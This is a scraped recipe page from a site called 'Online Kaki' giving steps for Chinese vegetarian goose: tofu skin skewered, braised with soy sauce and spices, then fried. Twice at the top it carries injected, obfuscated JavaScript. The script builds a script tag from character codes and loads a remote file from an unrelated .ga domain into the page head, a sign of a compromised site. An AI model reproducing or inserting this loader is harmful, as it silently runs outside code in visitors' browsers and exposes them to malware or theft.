Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); 斋鹅 – Online Kaki
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

材料:
干腐皮—6-8片
姜片—4片
蒜头—3颗
八角—3-4颗
香叶—-几片
桂皮—2小块
酱油——适量
糖—适量
做法:

  1. 干腐皮,用一点点水泡1分钟以后捞起,过一阵子就会吸收水分变软,不可以长时间浸泡,否则太软等下处理的时候不好弄,吃起来口感也不好。然后把边边比较硬的地方切走。
  2. 3-4张为一组,叠起来,用长竹签上下像缝线那样穿起来。
  3. 香料放进烧热的干锅里烘干,加上酱油和糖。(酱油先兑1.5碗的水,否则酱油下锅会糊)
  4. 大火煮开后慢火,等香料出味以后,串好的腐皮卷可以放进锅里吸收汤汁,两面翻,注意力度小心腐皮卷散开。
  5. 汤汁吸收干以后捞起腐皮卷,把香料捞起不要,锅里放少许油烧热,把腐皮卷两面翻煎到金黄色,注意时间,腐皮很容易焦,然后捞起。
  6. 把竹签拔掉,切块。完成。

温馨提示:

  1. 长竹签比牙签好的原因是,如果用牙签,需要很多支,而且短,最后拆下来的步骤可能会漏掉吃进嘴里,而长竹签一拔就可以了。

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